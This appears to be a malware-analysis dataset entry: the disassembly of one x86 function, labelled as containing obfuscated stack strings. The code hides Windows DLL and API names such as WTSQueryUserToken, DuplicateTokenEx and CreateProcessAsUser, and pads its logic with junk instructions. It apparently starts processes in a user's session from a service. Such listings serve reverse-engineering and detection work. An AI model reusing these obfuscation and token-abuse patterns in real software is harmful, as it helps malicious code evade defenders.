Function at 0x402604
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x44247e
mov eax, dword fs:[0]
push eax
push ecx
mov eax, 0x11c0
call fcn.00402fa0
mov eax, dword [0x44d014]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x11b4], eax
xor eax, eax
mov dword [ebp - 0x11c0], eax
mov dword [ebp - 4], eax
call fcn.0040e3b2
call fcn.0040e3b2
push ebp
mov ebp, 0xc355e87e
sbb ebp, edx
sbb ebp, esi
add ebp, edx
sbb ebp, esi
or ebp, ebx
pop ebp
push 2
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
movaps xmm0, xmmword [0x4432a0]
lea eax, [ebp - 0x140]
push eax
xor ebx, ebx
mov dword [ebp - 0x6c], 0x61737477
lea eax, [ebp - 0x30]
mov dword [ebp - 0x68], 0x32336970
push eax
mov dword [ebp - 0x64], 0x6c6c642e
mov byte [ebp - 0x60], bl
mov dword [ebp - 0x30], 0x6e72654b
mov dword [ebp - 0x2c], 0x32336c65
mov dword [ebp - 0x28], 0x6c6c642e
mov byte [ebp - 0x24], bl
mov dword [ebp - 0x5c], 0x61766441
mov dword [ebp - 0x58], 0x32336970
mov dword [ebp - 0x54], 0x6c6c642e
mov byte [ebp - 0x50], bl
mov dword [ebp - 0x20], 0x72657355
mov dword [ebp - 0x1c], 0x2e766e45
mov dword [ebp - 0x18], 0x6c6c64
movups xmmword [ebp - 0x140], xmm0
mov dword [ebp - 0x130], 0x64496e6f
mov byte [ebp - 0x12c], bl
call fcn.00401931
movaps xmm0, xmmword [0x4432e0]
mov dword [0x457638], eax
lea eax, [ebp - 0xdc]
push eax
lea eax, [ebp - 0x30]
mov dword [ebp - 0xcc], 0x53656c6f
push eax
movups xmmword [ebp - 0xdc], xmm0
mov dword [ebp - 0xc8], 0x69737365
mov dword [ebp - 0xc4], 0x64496e6f
mov byte [ebp - 0xc0], bl
call fcn.00401931
movaps xmm0, xmmword [0x4432c0]
mov dword [0x45763c], eax
lea eax, [ebp - 0x128]
push eax
lea eax, [ebp - 0x20]
mov dword [ebp - 0x118], 0x6f6c4274
push eax
movups xmmword [ebp - 0x128], xmm0
mov word [ebp - 0x114], 0x6b63
mov byte [ebp - 0x112], bl
call fcn.00401931
movaps xmm0, xmmword [str.RegisterServiceCCreateProcessAsUSysAllocStringLeWTSQueryUserTokeDestroyEnvironmeProcessIdToSessiStartServiceCtrlCreateEnvironmenGetForegroundWinWTSGetActiveConsSetServiceStatusDuplicateTokenEx_wE]
mov dword [0x457640], eax
lea eax, [ebp - 0xbc]
push eax
lea eax, [ebp - 0x5c]
mov dword [ebp - 0xac], 0x486c7274
push eax
movups xmmword [ebp - 0xbc], xmm0
mov dword [ebp - 0xa8], 0x6c646e61
mov dword [ebp - 0xa4], 0x78457265
mov word [ebp - 0xa0], 0x41
call fcn.00401931
mov dword [0x457644], eax
lea eax, [ebp - 0x8c]
push eax
lea eax, [ebp - 0x6c]
mov dword [ebp - 0x8c], 0x46535457
push eax
mov dword [ebp - 0x88], 0x4d656572
mov dword [ebp - 0x84], 0x726f6d65
mov word [ebp - 0x80], 0x79
call fcn.00401931
mov dword [0x457648], eax
movaps xmm0, xmmword [0x443290]
lea eax, [ebp - 0x110]
push eax
lea eax, [ebp - 0x20]
mov dword [ebp - 0x100], 0x6c42746e
push eax
movups xmmword [ebp - 0x110], xmm0
mov dword [ebp - 0xfc], 0x6b636f
call fcn.00401931
movaps xmm0, xmmword [0x443270]
mov dword [0x45764c], eax
lea eax, [ebp - 0x168]
push eax
lea eax, [ebp - 0x40]
mov dword [ebp - 0x40], 0x41656c4f
push eax
mov dword [ebp - 0x3c], 0x32337475
mov dword [ebp - 0x38], 0x6c6c642e
mov byte [ebp - 0x34], bl
movups xmmword [ebp - 0x168], xmm0
mov word [ebp - 0x158], 0x6e
call fcn.00401931
mov dword [0x457630], eax
lea eax, [ebp - 0x9c]
push eax
lea eax, [ebp - 0x40]
mov dword [ebp - 0x9c], 0x46737953
push eax
mov dword [ebp - 0x98], 0x53656572
mov dword [ebp - 0x94], 0x6e697274
mov word [ebp - 0x90], 0x67
call fcn.00401931
add esp, 0x40
mov dword [ebp - 0x11bc], eax
push ebx
mov ebx, 0x7152537
mov ebx, 0xdee2e8f0
and ebx, ebx
nop
pop ebx
call fcn.0040e3b2
call fcn.0040e3b2
push edx
add edx, eax
add edx, edx
xor edx, esp
mov edx, 0xb484562a
add edx, eax
nop
pop edx
xor eax, eax
inc eax
push 0x41
push eax
push 0x4576f8
call fcn.004010d2
add esp, 0xc
test eax, eax
je 0x40297d
push 0x40
push 3
push 0x457678
call fcn.004010d2
add esp, 0xc
test eax, eax
je 0x40297d
xor ecx, ecx
mov al, byte [ecx + 0x457678]
mov byte [ecx + 0x4576b8], al
inc ecx
test al, al
jne 0x40291b
push edx
mov edx, 0xa2df1fdf
mov edx, 0x8ec1f62e
sbb edx, edx
pop edx
xor eax, eax
inc eax
cmp dword [ebp + 8], eax
jle 0x402cf2
push eax
lea eax, [ebp - 0x1a8]
push eax
call fcn.0040159f
mov ebx, dword [ebp - 0x11b4]
push eax
push dword [ebx + 4]
call fcn.0040e2d0
add esp, 0x10
test eax, eax
jne 0x402999
call fcn.0040171b
push edx
sbb edx, esp
xor edx, esp
xor edx, esp
sbb edx, esp
xor edx, esp
xor edx, esp
nop
pop edx
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.00402e7f
leave
ret
lea eax, [ebp - 0x1a8]
push 2
push eax
call fcn.0040159f
push eax
push dword [ebx + 4]
call fcn.0040e2d0
add esp, 0x10
test eax, eax
jne 0x4029be
call fcn.0040259c
jmp 0x40297d
lea eax, [ebp - 0x1a8]
push 3
push eax
call fcn.0040159f
push eax
push dword [ebx + 4]
call fcn.0040e2d0
add esp, 0x10
test eax, eax
jne 0x4029f3
call fcn.0040230a
push ebp
add ebp, eax
xor ebp, esi
add ebp, esp
add ebp, edx
xor ebp, eax
add ebp, esi
add ebp, esp
pop ebp
jmp 0x40297d
push 4
pop edi
lea eax, [ebp - 0x1a8]
push edi
push eax
call fcn.0040159f
push eax
push dword [ebx + 4]
call fcn.0040e2d0
add esp, 0x10
test eax, eax
jne 0x402a1d
call fcn.0040252a
jmp 0x40297d
cmp dword [ebp + 8], 3
jle 0x40297d
lea eax, [ebp - 0x1a8]
push 5
push eax
call fcn.0040159f
push eax
push dword [ebx + 4]
call fcn.0040e2d0
add esp, 0x10
test eax, eax
jne 0x40297d
push dword [ebx + 0xc]
call fcn.00401910
pop ecx
xor ecx, ecx
mov dword [ebp - 0x11b8], eax
inc ecx
movzx edx, cl
xor ecx, ecx
cmp eax, 0xffffffff
cmove edx, ecx
mov dword [ebp - 0x11ac], edx
test eax, eax
je 0x402ab6
push edx
mov edx, 0x1d293747
xor edx, edx
sbb edx, edx
xor edx, edx
xor edx, edx
sbb edx, edx
pop edx
mov edi, dword [ebp - 0x11b8]
xor esi, esi
cmp esi, 0x1e
jge 0x402aa7
push 0x5dc
call dword [sym.imp.KERNEL32.dll_Sleep]
push edi
call fcn.0040183d
pop ecx
test eax, eax
je 0x402aa7
inc esi
jmp 0x402a89
mov edx, dword [ebp - 0x11ac]
mov ebx, dword [ebp - 0x11b4]
push 4
pop edi
xor eax, eax
lea ecx, [ebp - 0x1a8]
mov dword [ebp - 0x11b8], eax
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x402ac7
sub ecx, esi
test ecx, ecx
jle 0x40297d
push 0x10
test dl, dl
pop eax
cmovne eax, edi
mov ecx, dword [eax + ebx]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x402ae6
sub ecx, edx
mov dword [ebp - 0x11b0], ecx
push ebp
add ebp, edx
sbb ebp, esp
sbb ebp, esi
add ebp, eax
nop
pop ebp
mov esi, dword [ebp - 0x11b0]
test esi, esi
jle 0x40297d
cmp byte [ebp - 0x11ac], 0
je 0x402b68
mov edi, dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea eax, [ebp - 0x1a8]
xor ebx, ebx
push ebx
push ebx
push esi
push eax
push ebx
push ebx
call edi
mov dword [ebp - 0x11b0], eax
test eax, eax
jle 0x402b54
push eax
push ebx
call dword [0x457630]
push dword [ebp - 0x11b0]
mov dword [ebp - 0x11ac], eax
push eax
lea eax, [ebp - 0x1a8]
jmp 0x402bc2
push ebx
xor ebx, esi
mov ebx, 0x2563a3e5
mov ebx, 0xc4076ae
nop
pop ebx
jmp 0x40297d
mov eax, dword [ebp - 0x11b4]
lea edx, [ebp - 0x11a8]
mov ecx, dword [eax + 0x10]
sub edx, ecx
mov al, byte [ecx]
mov byte [ecx + edx], al
inc ecx
test al, al
jne 0x402b79
mov edi, dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea eax, [ebp - 0x11a8]
xor ebx, ebx
push ebx
push ebx
push esi
push eax
push ebx
push ebx
call edi
mov dword [ebp - 0x11b0], eax
test eax, eax
jle 0x402cdf
push eax
push ebx
call dword [0x457630]
push dword [ebp - 0x11b0]
mov dword [ebp - 0x11ac], eax
push eax
lea eax, [ebp - 0x11a8]
push esi
push eax
push ebx
push ebx
call edi
push eax
sbb eax, esi
add eax, esp
sbb eax, edx
sbb eax, eax
sub eax, edi
nop
pop eax
mov esi, dword [ebp - 0x11b4]
mov edi, dword [esi + 8]
lea ecx, [edi + 1]
mov al, byte [edi]
inc edi
test al, al
jne 0x402be1
xor ebx, ebx
sub edi, ecx
push ebx
push ebx
push edi
push dword [esi + 8]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov dword [ebp - 0x11b0], eax
test eax, eax
jle 0x402c8a
push eax
push ebx
call dword [0x457630]
push dword [ebp - 0x11b0]
mov dword [ebp - 0x11b8], eax
push eax
push edi
push dword [esi + 8]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
movaps xmm0, xmmword [0x4432d0]
lea eax, [ebp - 0x154]
push eax
lea eax, [ebp - 0x4c]
mov dword [ebp - 0x4c], 0x72657355
push eax
mov dword [ebp - 0x48], 0x642e3233
mov word [ebp - 0x44], 0x6c6c
mov byte [ebp - 0x42], bl
movups xmmword [ebp - 0x154], xmm0
mov dword [ebp - 0x144], 0x776f64
call fcn.00401931
pop ecx
pop ecx
call eax
push dword [ebp - 0x11ac]
mov ecx, eax
mov eax, dword [ebp - 0x11b8]
push eax
push ecx
call fcn.00401c8f
add esp, 0xc
mov dword [ebp - 0x11c0], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp dword [ebp - 0x11bc], ebx
je 0x402cc4
push edi
mov edi, 0x3af1ab67
sbb edi, edx
add edi, esi
nop
pop edi
mov eax, dword [ebp - 0x11ac]
mov ebx, dword [ebp - 0x11bc]
test eax, eax
je 0x402cb7
push eax
call ebx
mov eax, dword [ebp - 0x11b8]
test eax, eax
je 0x402cc4
push eax
call ebx
push ebx
sbb ebx, esi
xor ebx, eax
xor ebx, edx
sbb ebx, esp
xor ebx, esi
xor ebx, eax
sbb ebx, edx
pop ebx
mov eax, dword [ebp - 0x11c0]
jmp 0x40297f
push ecx
mov ecx, 0xe96cf077
add ecx, esp
add ecx, eax
xor ecx, esp
nop
pop ecx
jmp 0x40297d
xor eax, eax
mov dword [ebp - 0x11d0], 0x457678
mov dword [ebp - 0x11cc], 0x40245c
mov dword [ebp - 0x11c8], eax
mov dword [ebp - 0x11c4], eax
call fcn.0040e3b2
push edi
xor edi, esi
sbb edi, esi
xor edi, esi
xor edi, esi
sbb edi, esi
xor edi, esi
nop
pop edi
movaps xmm0, xmmword [0x4432b0]
xor eax, eax
mov byte [ebp - 0x70], al
lea eax, [ebp - 0xf8]
push eax
lea eax, [ebp - 0x7c]
mov dword [ebp - 0x7c], 0x61766441
push eax
mov dword [ebp - 0x78], 0x32336970
mov dword [ebp - 0x74], 0x6c6c642e
movups xmmword [ebp - 0xf8], xmm0
mov dword [ebp - 0xe8], 0x70736944
mov dword [ebp - 0xe4], 0x68637461
mov dword [ebp - 0xe0], 0x417265
call fcn.00401931
pop ecx
pop ecx
test eax, eax
je 0x40297d
lea ecx, [ebp - 0x11d0]
push ecx
call eax
jmp 0x40297d